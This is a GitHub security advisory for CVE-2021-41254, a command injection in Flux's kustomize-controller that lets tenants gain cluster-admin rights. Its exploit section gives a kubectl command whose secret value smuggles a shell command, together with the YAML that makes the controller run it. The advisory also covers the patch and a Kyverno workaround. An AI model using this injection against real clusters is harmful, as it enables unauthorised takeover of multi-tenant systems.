Skip to content

Privilege escalation to cluster admin on multi-tenant environments

High severity GitHub Reviewed Published Nov 11, 2021 in fluxcd/kustomize-controller • Updated Feb 1, 2023

Package

gomod github.com/fluxcd/kustomize-controller (Go)

Affected versions

< 0.15.0

Patched versions

0.15.0

Description

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.

Workarounds

To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-sa
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: validate-sa
      match:
        resources:
          kinds:
            - ServiceAccount
          namespaces:
            - tenant1
            - tenant2
        subjects:
          - kind: User
            name: some@tenant1.com
          - kind: User
            name: some@tenant2.com
          - kind: ServiceAccount
            name: kustomize-controller
            namespace: flux-system
          - kind: ServiceAccount
            name: helm-controller
            namespace: flux-system
      validate:
        message: "Invalid service account"
        pattern:
          X(secrets): "*?"

References

Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.

For more information

If you have any questions or comments about this advisory:

References

Published by the National Vulnerability Database Nov 12, 2021
Reviewed Nov 12, 2021
Published to the GitHub Advisory Database Nov 15, 2021
Last updated Feb 1, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.453%
(76th percentile)

Weaknesses

CVE ID

CVE-2021-41254

GHSA ID

GHSA-35rf-v2jv-gfg7

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.